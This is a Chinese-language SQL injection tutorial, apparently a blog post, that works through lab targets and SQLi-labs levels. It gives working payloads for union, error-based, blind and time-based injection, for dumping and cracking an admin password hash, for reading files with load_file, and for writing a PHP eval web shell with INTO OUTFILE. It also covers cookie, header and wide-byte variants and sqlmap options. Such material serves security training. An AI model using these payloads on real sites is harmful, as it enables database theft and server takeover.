赞
踩
结构化查询语言(Structured Query Language,缩写:SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言
。1986年10月,美国国家标准学会对SQL进行规范后,以此作为关系式数据库管理系统 MYSQL ACCESS MSSQL orcale
明显的层次结构
库名|表名|字段名|字段内容
的标准语言(ANSI X3. 135-1986),1987年得到国际标准组织的支持下成为国际标准。不过各种通行的数据库系统在其实践过程中都对SQL规范作了某些编改和扩充。所以,实际上不同数据库系统之间的SQL不能完全相互通用。
SQL注入(SQL Injection)是一种常见的Web安全漏洞
,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击
。
针对SQL注入的攻击行为可描述为通过用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序时意料之外结果的攻击行为。
其成因可以归结外以下两个原因叠加造成的:
程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句。
未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。
根据SQL 注入漏洞的原理,在用户“可控参数”中注入SQL 语法,也就是说Web 应用在获取用户数据的地方,只要带入数据库查询,都有存在SQL 注入的可能
,这些地方通常包括:
GET 数据
POST 数据
HTTP 头部(HTTP 请求报文其他字段)
Cookie 数据
攻击者利用SQL注入漏洞,可以获取数据库中的多种信息(例如:管理员后台密码),从而脱取数据库中内容(脱库)。
在特别情况下还可以修改数据库内容或者插入内容到数据库,如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者可以通过SQL注入漏洞直接获取webshell或者服务器系统权限
。
SQL 注入漏洞根据不同的标准,有不同的分类。
但是从数据类型
分类来看,SQL 注入分为数字型和字符型
。
数字型注入
就是说注入点的数据,拼接到SQL 语句中是以数字型出现的,即数据两边没有被单引号、双引号包括。
字符型注入
正好相反。
根据注入手法分类,大致可分为以下几个类别。
注入分类 | 简称 |
---|---|
UNION query SQL injection(可联合查询注入) | 联合查询 |
Error-based SQL injection(报错型注入) | 报错注入 |
Boolean-based blind SQL injection(布尔型注入) | 布尔盲注 |
Time-based blind SQL injection(基于时间延迟注入) | 延时注入 |
Stacked queries SQL injection(可多语句查询注入) | 堆叠查询 |
mysql 数据库的注释大概有以下几种:
#
-- (杠杠空格)
/* ..... */
/*! .... */ 内联查询
information_schema
|
+-- tables
| |
| `-- table_name
| |
| `-- table_schema
|
`-- columns
|
`-- column_name
|
`-- table_name
|
`-- table_schema
函数 | 含义 |
---|---|
= > >= <= <> | 比较运算符 |
and | or |
version() | mysql 数据库版本 |
database() | 当前数据库名 |
user() | 用户名 |
current_user() | 当前用户名 |
system_user() | 系统用户名 |
@@datadir | 数据库路径 |
@@versoin_compile_os | 操作系统版本 |
length() | 返回字符串的长度 |
substring() | 截取字符串 |
substr() | |
mid() | 1. 截取的字符串2. 截取起始位置,从1开始计数3. 截取长度 |
left() | 从左侧开始取指定字符个数的字符串 |
concat() | 没有分隔符的连接字符串 |
concat_ws() | 含有分割符的连接字符串 |
group_conat() | 连接一个组的字符串 |
ord() | 返回ASCII 码 |
ascii() | |
hex() | 将字符串转换为十六进制 |
unhex() | hex 的反向操作 |
md5() | 返回MD5 值 |
floor(x) | 返回不大于x 的最大整数 |
round() | 返回参数x 接近的整数 |
rand() | 返回0-1 之间的随机浮点数 |
load_file() | 读取文件,并返回文件内容作为一个字符串 |
sleep() | 睡眠时间为指定的秒数 |
if(true,t,f) | if 判断 |
find_in_set() | 返回字符串在字符串列表中的位置 |
benchmark() | 指定语句执行的次数 |
name_const() | 返回表作为结果 |
在SQL 语句中逻辑运算与(and)比或(or)的优先级高。
[select 1=2 and 1=2 or 1=1;]
由于关系型数据库系统,具有明显的库/表/列/内容结构层次,所以我们通过SQL 注入漏洞获取数据库中信息时候,也依据这样的顺序。
首先获取数据库名,其次获取表名,然后获取列名,最后获取数据。
?id=35 +1/-1
select * from tbName where id=$id
?id=35' 字符型,还是数字型
near ''' at line 1
select * from tbName where id=35'
?id=35 and 1=1 是否有布尔类型的状态
?id=35 and 1=2
select * from tbName where id=35 and 1=1
select * from tbName where id=35 and 1=2
?id=35 and sleep(5) 是否有延时
四大基本手法包括:
@ 联合查询
@ 报错注入
@ 布尔盲注
@ 延时注入
[http://172.16.132.138/cms/show.php?id=33] 案例网站
对连接[http://172.16.132.138/cms/show.php?id=33]
是否是注入点进行判断。
变换id 参数
当我们变换id 参数(33+1|33-1)的时候,发现同一个页面,
show.php 页面展现出不同的页面内容。也就是说,数据库中的内容会回显到网页中来。
初步判定,id 参数会带入数据库查询,根据不同的id 查询数据库
,得到不同的页面内容。
猜测后台执行的SQL 语句大致结构为:
select * from tbName where id=33;
单引号
[?id=33’]
执行的SQL 主语则变为
select * from tbName where id=33’;
页面报错,并且报错信息会回显在网页中,报错信息如下
----
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
----
错误信息提示单引号位置出现错误,那么说明,SQL 语句从头到参数33 都是正确的。也就是说,我们添加的单引号是多余的
。
因此,可以断定参数33 前面没有引号
。
则,此注入点(可能)为数字型注入
。
select * from tbName where id=33 and 1=1 --+
select * from tbName where id=33 and 1=2 --+
页面没有新闻内容,并且数据库没有报错。
由于1=2 是恒假式,也就是查询条件[where id=33 and 1=2 --+]恒假,这样的SQL 语句在数据库中执行后,没有返回结果,没有页面内容。
反过来看,页面没有页面内容,也就是SQL 语句查询条件为假。也就是说,我们写的语句[and 1=2 --+],起到了将查询条件置为假的
作用。
那么,可以通过构造语句来控制SQL 语句的查询结果并且,SQL 语句查询条件真假性,在页面回显中有体现。
[and sleep(5)]
[?id=33 and sleep(5)]
注入sleep(5) 语句,可以通过网络时间线看到延时。
说明sleep(5) 语句起到了作用
综上,此连接存在SQL 注入漏洞。
由于数据库中的内容会回显到页面
中来,所以我们可以采用联合查询进行注入。
联合查询就是SQL 语法中的union select
语句。
该语句会同时执行两条select 语句,生成两张虚拟表,然后把查询到的结果进行拼接。
select ~~~~ union select ~~~~
由于虚拟表是二维结构,联合查询会"纵向"拼接,两张虚拟的表。
两张虚拟的表具有相同的列数
虚拟表对应的列的数据类型相同
[order by]
语句来判断当前select 语句所查询的虚拟表的列数
。 [order by 1 --+]
[order by 2 --+]
...
[order by 15 --+]
[order by 16]
得到当前虚拟表中字段个数为15。
select 语句在执行的过程中,并不需要指定表名
。[?id=33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+]
[?id=33 union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null--+]
页面显示的是第一张虚拟表的内容,那么我们可以考虑让第一张虚拟表的查询条件为假,则显示第二条记录。因此构造SQL 语句:
[?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+]
[?id=-33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+]
发现3 和11 会回显到页面中来。
[?id=33 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15 --+]
数据库版本为5.5.53。
当前数据库名
[?id=33 and 1=2 union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15 --+]
数据库中的表
[?id=33 and 1=2 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() --+]
数据库报错,考虑用[hex()] 函数将结果由字符串转化成数字。
[?id=33 and 1=2 union select 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() --+]
得到十六进制编码后的字符串
----
636D735F61727469636C652C636D735F63617465676F72792C636D735F66696C652C636D735F667269656E646C696E6B2C636D735F6D6573736167652C636D735F6E6F746963652C636D735F706167652C636D735F7573657273
----
十六进制解码
----
cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users
----
管理员帐密有可能保存在cms_users 表中。
[?id=33 and 1=2 union select 1,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema=database() and table_name='cms_users'--+]
----
7573657269642C757365726E616D652C70617373776F7264
----
查询结果
----
userid,username,password
----
[?id=33 and 1=2 union select 1,2,count(*),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users --+]
[?id=33 and 1=2 union select 1,2,hex(concat(username,':',password)),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users --+]
----
61646D696E3A6531306164633339343962613539616262653536653035376632306638383365
----
查询结果
----
admin:e10adc3949ba59abbe56e057f20f883e
----
得到的是后台管理员帐密,但是密码是以密文的方式保存在数据库中的。通过观察密文可知,此密文为MD5 密文。
----
admin:123456
----
通过网站后台登录系统
在注入点的判断过程中,发现数据库中SQL 语句的报错信息
,会显示在页面
中,因此可以进行报错注入。
报错注入的原理,就是在错误信息中执行SQL 语句
。
触发报错的方式很多,具体细节也不尽相同。此处建议直接背公式即可。
[?id=33 and (select 1 from (select count(*),concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+]
[?id=33 and (select 1 from (select count(*),concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+]
@ extractalue()
[?id=33 and extractvalue(1,concat('^',(select version()),'^')) --+]
@ updatexml()
[?id=33 and updatexml(1,concat('^',(select database()),'^'),1) --+]
[?id=33 and length(database())=1 --+]
[?id=33 and length(database())=2 --+]
[?id=33 and length(database())=3 --+]页面正确
可以断定,当前数据库名的长度为3。
数据库名
[?id=33 and ascii(substr(database(),1,1))=99 --+] 页面正确
由此可知数据库名的第一个字母的ascii 码为99,即是字母c。
原理
利用sleep() 语句的延时性,以时间线作为判断条件。
获取数据库名
获取数据库名长度
[?id=33 and if((length(database())=3),sleep(5),1)--+]
数据库名第二位
[?id=33 and if((ascii(substr(database(),2,1))=109),sleep(5),1)--+]
由此可知,数据库名第二个字母的ASCII 码值为109,即是字母m。
------
方法:
是否有回显 联合查询
是否有报错 报错注入
是否有布尔类型状态 布尔盲注
绝招 延时注入
------
where id=’$id’
3’ and sleep(5) or ‘1’='1
可以在phpmyadmin 中开到该变量。
该参数在高版本的mysql 数据库中限制了文件的导入导出操作。
改参数可以写在my.ini 配置文件中[mysqld] 下。若要配置此参数,需要修改my.ini 配置文件,并重启mysql 服务。
参数值 | 相关说明 |
---|---|
secure-file-priv= | 不对mysqld的导入导出操作做限制 |
secure-file-priv=‘c:/a/’ | 限制mysqld 的导入导出操作发生在c:/a/ 下(子目录有效) |
secure-file-priv=null | 限制mysqld 不允许导入导出操作 |
2. 当前用户具有文件权限
查询语句[select File_priv from mysql.user where user="root" and host="localhost"]。
3. 知道要写入目标文件的绝对路径
[?id=-1' union select 1, load_file('C:\\Windows\\System32\\drivers\\etc\\hosts'), 3 --+ ]
[?id=1' and 1=2 union select 1,'<?php @eval($_REQUEST[777]);?>',3 into outfile 'c:\\phpstudy\\www\\2.php'--+]
,直接传入参数,页面如果不报错,说明写入成功。可以直接访问写入的文件[http://localhost/1.php]
宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况。
为了说明宽字节注入问题,我们以SQLi-labs 32 关
为例子。
使用[?id=1’]进行测试的时候,发现提交的单引号会被转移[’]。
此时,转义后的单引号不再是字符串的标识,会被作为普通字符带入数据库查询。也就是说,我们提交的单引号不会影响到原来SQL 语句的结构。
我们通过阅读32 关的源码,发现几句非常意思的代码,如下:
此网页在连接数据库时,会将字符编码设置为GBK 编码集合,然后进行SQL 语句拼接,最后进行数据库查询。
GBK编码依然采用双字节编码方案,其编码范围:8140-FEFE,剔除xx7F码位,共23940个码位。共收录汉字和图形符号21886个,其中汉字(包括部首和构件)21003个,图形符号883个。GBK编码支持国际标准ISO/IEC10646-1和国家标准GB13000-1中的全部中日韩汉字,并包含了BIG5编码中的所有汉字。GBK编码方案于1995年12月15日正式发布,这一版的GBK规范为1.0版。
转移字符[] 的编码是5c,正好在GBK 编码范围之内,也就是说我们可以在单引号之前提交一个十六进制编码的字符,与5c 组成一个GBK 编码的汉字。这样SQL 语句传入数据库的时候,转移字符5c ,会被看作GBK 汉字的低位字节编码,从而失去转义的作用。
如果我们提交这样的参数[?id=1000%df' union select 1,2,3 --+]
,就可以使用联合查询进行注入了。
0xdf5c 就是一个汉字"運"。
我们使用SQLi-labs 第20 关
来说明Cookie 注入问题。
Cookie 注入的注入参数需要通过Cookie 提交,可以通过[document.cookie]
在控制台完成对浏览器Cookie 的读写。
来到less-20,在控制台输入
[document.cookie="uname=Dumb' and extractvalue(1,concat(0x7e,database(),0x7e))#"]
刷新页面即可。
我们以SQLI-labs 第22关
来说明base64 注入的问题。
base64 注入也是比较简单的,只不过将注入字段经过base64 编码。经过测试,发现22 关属于Cookie 型的base64 注入。我们可以使用报错注入手法,payload
[document.cookie="uname=Dumb" and extractvalue(1,concat(0x7e,database(),0x7e))#"]
在控制台输入 [document.cookie="uname=RHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSkpIw=="]。
刷新网页即可。
http 头部注入就是指注入字段在HTTP 头部的字段中,这些字段通常有User-Agent、Referer 等。
User-Agent 注入
如SQLi-labs 第18 关
。
payload
[User-Agent:hacker' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1]
Referer 注入
第19 关
,注入字段在Referer 中
[hacker' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1]
-----
GET /sqli-labs-master/Less-8/?id=2%27%20and%20length(database())=§1§%20--+ HTTP/1.1
Host: 172.16.132.161
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://172.16.132.161/sqli-labs-master/Less-8/?id=2%27%20and%201=2%20--+
Upgrade-Insecure-Requests: 1
----
----
-u "url" 检测注入点
--dbs 列出所有数据库的名字
--current-db 列出当前数据库的名字
-D 指定一个数据库
--tables 列出表名
-T 指定表名
--columns 列出所有的字段名
-C 指定字段
--dump 列出字段内容
----
定制化脚本
----sqli-lab Less-01 字符型注入 单引号 ?id=1 ?id=1' and 1=2 union select 1,version(),3 --+ Less-02 数字型注入 ?id=-2 union select 1,2,database() Less-03 字符型 ') ?id=2') and 1=2 union select 1,2,version() --+ Less-04 字符型 ") ?id=2") and 1=2 union select 1,2,@@datadir --+ Less-05 没有回显,有报错 字符型 ' ?id=1' and updatexml(1,concat(0x5e,(select version()),0x5e),1) --+ Less-06 没有回显,有报错 字符型 " ?id=2" and updatexml(1,concat(0x5e,(select version()),0x5e),1) --+ Less-07 没有回显,没有报错 经过代码审计 字符型注入 ')) ?id=2')) union select 1,"<?php @eval(\$_REQUEST[777])?>",3 into outfile "c:\\phpstudy\\www\\1.php" --+ Less-08 没有回显,没有报错,有布尔类型状态 字符型注入 ' 半自动化注入 Less-09 字符型注入,单引号 没有回显,没有报错,没有布尔类型状态 ?id=2' and if(ascii(substr(database(),1,1))=1,sleep(5),1) --+
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。